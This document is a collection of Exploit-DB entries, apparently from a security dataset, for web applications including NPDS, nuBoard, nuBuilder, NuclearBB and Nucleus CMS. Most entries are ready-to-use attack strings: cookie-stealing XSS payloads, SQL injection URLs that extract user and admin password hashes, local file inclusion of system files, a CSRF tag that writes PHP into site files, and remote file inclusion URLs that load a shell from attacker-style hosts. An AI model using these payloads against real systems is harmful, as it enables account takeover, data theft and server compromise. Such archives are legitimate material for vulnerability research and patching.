deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25747
Description: NPDS 4.8 < 5.0 - 'reply.php?image_subject' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
     
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
     
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
     
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/reply.php?post=1&forum=1&topic=1&stop=2&image_subject="><script>alert('je viens de recuperer ton
cookie');</script>&userdata='&time='&poster_ip='&hostname='&message=test&submit=Valider
Exploit-DB #25746
Description: NPDS 4.8 < 5.0 - 'reviews.php?title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
    
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
    
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
    
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/reviews.php?op=postcomment&id=1&title=%3Cscript%3Ealert();%3C/script%3E
Exploit-DB #25744
Description: NPDS 4.8 < 5.0 - 'sdv_infos.php?sitename' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
  
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
  
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
  
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/npds/sdv_infos.php?sitename=<script>alert()</script>
Exploit-DB #25748
Description: NPDS 4.8 < 5.0 Glossaire Module - 'terme' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-28
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13803/info
      
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
      
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
      
All versions of NPDS are considered vulnerable to this issue at the moment. 

http://www.example.com/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_terme&type=3&terme=''%20='%20AND%20affiche!='0'%20UNION%20SELECT%200,0,uname,pass,0,0%20from%20user
s%20where%20uname<>''/*
Exploit-DB #25671
Description: NPDS 4.8/5.0 - 'comments.php?thold' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13649/info

NPDS is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'thold' parameter.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions are considered to be vulnerable at the moment.


http://www.example.com/npds/comments.php?thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,pwd,0,0%20FROM%20authors

http://www.example.com/npds/comments.php?thold =0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20users
Exploit-DB #25672
Description: NPDS 4.8/5.0 - 'pollcomments.php?thold' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: NoSP

Exploit:
source: https://www.securityfocus.com/bid/13649/info
 
NPDS is prone to an SQL injection vulnerability.
 
This issue is due to a failure in the application to properly sanitize user-supplied input to the 'thold' parameter.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
All versions are considered to be vulnerable at the moment.

http://www.example.com/npds/pollcomments.php?thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,pwd,0,0%20FROM %20authors

http://www.example.com/npds/pollcomments.php?op=results&pollID=2&mode=&order=&thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20u
Exploit-DB #28006
Description: NPDS 5.10 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-12
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/18383/info

NPDS is prone to multiple input-validation issues, including information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.

Local file-inclusion: 
http://www.example.com/header.php?Default_Theme=../apache/logs/error.log%00 http://www.example.com/modules/cluster-paradise/cluster-E.php?ModPath=../../../../../apache/logs/error.log%00 
Cross-site scripting: 
http://www.example.com/header.php?Titlesitename=</title><script>alert(document.cookie)</script> http://www.example.com/header.php?sitename="><script>alert(document.cookie)</script> 
http://www.example.com/meta/meta.php?nuke_url="><script>alert(document.cookie)</script> 
http://www.example.com/viewforum.php?forum=2"><script src=http://www.example2.com/xss.js> 
http://www.example.com/editpost.php?forum=1&post_id=888"><script src=http://www.example2.com/xss.js> http://www.example.com/editpost.php?forum=1"><script src=http://www.example2.com/xss.js> http://www.example.com/editpost.php?forum=1&topic="><script src=http://www.example2.com/xss.js> http://www.example.com/editpost.php?forum=1&arbre="><script src=http://www.example2.com/xss.js> http://www.example.com/user.php?op=only_newuser&uname="><script src=http://www.example2.com/xss.js> http://www.example.com/user.php?op=only_newuser&email="><script src=http://www.example2.com/xss.js>
Exploit-DB #34032
Description: NPDS REvolution 10.02 - 'admin.php' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-05-20
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40331/info

NPDS Revolution is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to compromise the affected application, steal cookie-based authentication credentials, perform unauthorized actions, and disclose or modify sensitive information. Other attacks may also be possible.

NPDS Revolution 10.02 is vulnerable; prior versions may also be affected. 

The following example request is available:

<img src="http://www.example.com/admin.php?op=ConfigFiles_save&Xtxt=<?+phpinfo()+?>&Xfiles=footer_after&confirm=1">
Exploit-DB #33997
Description: NPDS REvolution 10.02 - 'download.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40227/info

NPDS Revolution is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

NPDS Revolution 10.02 is vulnerable; prior versions may also be affected.

http://www.example.com/download.php?op=geninfo&did=1%22%3E%3Cimg%20src=x%20onerror=alert%28document.cookie%29%3E
Exploit-DB #33982
Description: NPDS REvolution 10.02 - 'download.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40156/info

NPDS Revolution is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NPDS Revolution 10.02 is vulnerable; other versions may also be affected. 

http://www.example.com/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC--
Exploit-DB #33985
Description: NPDS REvolution 10.02 - 'topic' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40157/info

NPDS Revolution is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

NPDS Revolution 10.02 is vulnerable; other versions may also be affected. 

http://www.example.com/viewtopic.php?topic=3"><script>alert(document.cookie)</script>&forum=1
Exploit-DB #3205
Description: nsGalPHP - '/includes/config.inc.php?racineTBS' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-27
Author: S.W.A.T.

Exploit:
                   _________________________________
          ________|                                 |________
          \       |              S.W.A.T.           |       /
           \      |                                 |      /
           /      |_________________________________|      \
          /___________)                         (___________\
    ------------------------------------------------------------------------------------------------------------------------
    Script:nsGalPHP
    Affected Version:unknown
    Downlaoad&Victim:http://www.easy-script.com/compt.php?id=3521
    ------------------------------------------------------------------------------------------------------------------------
    Author:S.W.A.T.
    ------------------------------------------------------------------------------------------------------------------------
    Bug in (includes/config.inc.php)
    Vul Code;
    include_once($racineTBS.'includes/tbs_class.php');
    include_once($racineTBS.'includes/fonctions.inc.php');
    require($racineTBS.'lang/'.$config['langueDefaut'].'.php');
    ------------------------------------------------------------------------------------------------------------------------
    POC:
    http://[target]/[path]/includes/config.inc.php?racineTBS=[PHPSHELL]
    ------------------------------------------------------------------------------------------------------------------------
    Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
    Special Greetz:All Member Of XmorsTEAM
    ------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-27]
Exploit-DB #33130
Description: NTSOFT BBS E-Market Professional - Multiple Cross-Site Scripting Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2009-06-30
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/35893/info

NTSOFT BBS E-Market Professional is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example URI is available:

http://www.example.com/community/index.php?pageurl=board&mode=view&b_no=Evil-code5014&bt_code=Evil-code&page=Evil-code
Exploit-DB #34257
Description: NTSOFT BBS E-Market Professional - Multiple Cross-Site Scripting Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2010-07-06
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/41401/info

NTSOFT BBS E-Market Professional is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.


http://www.example.com/community/index.php?pageurl=Evil-code
Exploit-DB #4606
Description: nuBoard 0.5 - 'site' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-04
Author: GoLd_M

Exploit:
nuBoard 0.5 (index.php site) Remote File Inclusion Vulnerability
 http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboard_v0.5.tar.gz
 /nuboard_v0.5/admin/index.php?site=http://localhost/scripts/020.txt?

# milw0rm.com [2007-11-04]
Exploit-DB #5115
Description: nuBoard 0.5 - 'ssid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-14
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                Nuboard_v0.5 SQL Injection Vulnerability                     ####
####                               By IRCRASH                                    ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH                                                                   #
#Discovered by : Dr.Crash                                                           #
#Exploited By : Dr.Crash                                                            #
#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Script Download : http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboard_v0.5.tar.gz
#                                                                                   #
#####################################################################################
#                                   < SQL >                                         #
#SQL Address : http://Target/threads.php?ssid=9999%27union/**/select/**/CoNcAt(0x4c6f67696e3a,nick,0x3c656e[PII_REDACTED]3e,0x0d0a[PII_REDACTED]6f72643a,password,0x3c656e[PII_REDACTED]3e)/***/from/**/nu_users/**/where/**/id=1/*
#                                                                                   #
#####################################################################################
#                         Our site : Http://IRCRASH.COM                             #
#####################################################################################

# milw0rm.com [2008-02-14]
Exploit-DB #14490
Description: nuBuilder - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-28
Author: Ahlspiess

Exploit:
Software: nuBuilder 10.04.x and lower(maybe)?
Type: Remote File Inclusion
Download: http://sourceforge.net/projects/nubuilder/files/
Author: Ahlspiess
Email: ahlspiess@tbdsecurity.com

Vulnerable file: report.php

report.php file content
1 	<?php
2 	/*
3 	** File: report.php
4 	** Author: nuSoftware
5 	** Created: 2007/04/26
6 	** Last modified: 2009/07/15
7 	**
8 	** Copyright 2004, 2005, 2006, 2007, 2008, 2009 nuSoftware
9 	**
10 	** This file is part of the nuBuilder source package and is licensed under the
11 	** GPLv3. For support on developing in nuBuilder, please visit the nuBuilder
12 	** wiki and forums. For details on contributing a patch for nuBuilder, please
13 	** visit the `Project Contributions' forum.
14 	**
15 	** Website: http://www.nubuilder.com
16 	** Wiki: http://wiki.nubuilder.com
17 	** Forums: http://forums.nubuilder.com
18 	*/
19 	
20 	include($GLOBALS['StartingDirectory']."/database.php");  <== interesting huh?

POC
Succesfully tested against php config register_global = On and Off, allow_url_include = On

register_global = Off
http://site.tld/report.php?StartingDirectory=http://attacker.tld/shell.txt?

register_global = On
http://site.tld/report.php?GLOBALS[StartingDirectory]=http://attacker.tld/shell.txt?


#EOF
Exploit-DB #14485
Description: nuBuilder 10.04.20 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-27
Author: John Leitch

Exploit:
------------------------------------------------------------------------
Software................nuBuilder 10.04.20
Vulnerability...........Local File Inclusion 
Download................http://sourceforge.net/projects/nubuilder/files/
Release Date............7/5/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://cross-site-scripting.blogspot.com/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--

A local file inclusion vulnerability in nuBuilder 10.04.20 can be
exploited to include arbitrary files.


--PoC--

http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini%00
Exploit-DB #29868
Description: NuclearBB Alpha 1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-04-18
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23555/info

NuclearBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

These issues affect NuclearBB Alpha 1; other versions may also be affected. 

=============
String Inputs
=============

----------------------------
login.php - $_POST['submit']
----------------------------

username=xyz
[CREDENTIAL_REDACTED]
submit=Login"+and+"1"="0

--------------------------------
register.php - $_POST['website']
--------------------------------

username=xyz@xyz.com
email=xyz@xyz.com
pass1=passwordxyz
pass2=passwordxyz
website=xyz@xyz.com"+and+"1"="0
location=xyz@xyz.com
msn=xyz@xyz.com
yahoo=xyz@xyz.com
aol=xyz@xyz.com
icq=xyz@xyz.com
signature=xyz@xyz.com
coppa_state=over
register_submit=Register

----------------------------
register.php - $_POST['aol']
----------------------------
username=xyz@xyz.com
email=xyz@xyz.com
pass1=xyz@xyz.com
pass2=xyz@xyz.com
website=xyz@xyz.com
location=xyz@xyz.com
msn=xyz@xyz.com
yahoo=xyz@xyz.com
aol=xyz@xyz.com"+and+"1"="0
icq=xyz@xyz.com
signature=xyz@xyz.com
coppa_state=over
register_submit=Register

----------------------------------
register.php - $_POST['signature']
----------------------------------

username=xyz@xyz.com
email=xyz@xyz.com
pass1=xyz@xyz.com
pass2=xyz@xyz.com
website=xyz@xyz.com
location=xyz@xyz.com
msn=xyz@xyz.com
yahoo=xyz@xyz.com
aol=xyz@xyz.com
icq=xyz@xyz.com
signature=xyz@xyz.com"+and+"1"="0
coppa_state=over
register_submit=Register

==============
Numeric Inputs
==============
-----------------------
groups.php - $_GET['g']
-----------------------

http://www.example.com/groups.php?g=1+and+1=0

------------------------------
register.php - $_POST['email']
------------------------------

username=xyz@xyz.com
email=xyz@xyz.com+and+1=0
pass1=xyz@xyz.com
pass2=xyz@xyz.com
website=xyz@xyz.com
location=xyz@xyz.com
msn=xyz@xyz.com
yahoo=xyz@xyz.com
aol=xyz@xyz.com
icq=xyz@xyz.com
signature=xyz@xyz.com
coppa_state=over&register_submit=Register
Exploit-DB #4395
Description: NuclearBB Alpha 2 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-11
Author: Rootshell Security

Exploit:
Vuln Product: NuclearBB Alpha 2
Vendor: http://www.nuclearbb.com/
Vulnerability Type: Remote File Inclusion
Autor: Infection
Team: Rootshell Security Team
Vulnerable file: /NuclearBB/tasks/send_queued_emails.php
Exploit URL: http://localhost/NuclearBB/tasks/send_queued_emails.php?root_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: root_path
Line number: 14
Lines:
----------------------------------------------
require("$root_path/inc/functions_email.php");
$mail = new email;
----------------------------------------------

# milw0rm.com [2007-09-11]
Exploit-DB #15907
Description: Nucleus 3.61 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2011-01-05
Author: n0n0x

Exploit:
#######################################################
#Nucleus v3.61 <=== Multiple Remote File Include
#By n0n0x
#Homepage: http://priasantai.uni.cc/
#Download script :http://sourceforge.net/projects/nucleuscms/
#######################################################
=========================================
nucleus3.61/action.php?DIR_LIBS=[y0ur g4y sh3ll]?????????????

13. /**
14.  * File containing actions that can be performed by visitors of the site,
15.  * like adding comments, etc...
16.  * @license http://nucleuscms.org/license.txt GNU General Public License
17.  * @copyright Copyright (C) 2002-2009 The Nucleus Group
18.  * @version $Id: action.php 1388 2009-07-18 06:31:28Z shizuki $
19.  */
20.
21. $CONF = array();
22. require('./config.php');
23.
24. // common functions
25. include_once($DIR_LIBS . 'ACTION.php');  <=== RFI vuln

==========================================
nucleus3.61/nucleus/media.php?DIR_LIBS=[y0ur g4y sh3ll]?????????????

35. // include all classes and config data
36. require('../config.php');
37. include($DIR_LIBS . 'MEDIA.php');	// media classes

==========================================
nucleus3.61/nucleus/xmlrpc/server.php?DIR_LIBS=[y0ur g4y sh3ll]?????????????

63.  * @license http://nucleuscms.org/license.txt GNU General Public License
64.  * @copyright Copyright (C) 2002-2009 The Nucleus Group
67.  * @version $Id: server.php 1388 2009-07-18 06:31:28Z shizuki $
68.  */
69. $CONF = array();
70. require("../../config.php");	// include Nucleus libs and code
71. include($DIR_LIBS . "xmlrpc.inc.php");

==========================================
nucleus3.61/nucleus/libs/PLUGINADMIN.php?DIR_LIBS=[y0ur g4y sh3ll]?????????????

class PluginAdmin {

	var $strFullName;		// NP_SomeThing
	var $plugin;			// ref. to plugin object
	var $bValid;			// evaluates to true when object is considered valid
	var $admin;				// ref to an admin object

	function PluginAdmin($pluginName)
	{
		global $manager;
                include_once($DIR_LIBS . 'ADMIN.php');   

==========================================
################################################
Greetz: all member | manadocoding.org - sekuritiOnline.net

friends: str0ke, angky.tatoki, EA ngel, bL4Ck_3n91n3,  0pa, x0r0n, team_elite
            devilbat. cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet
################################################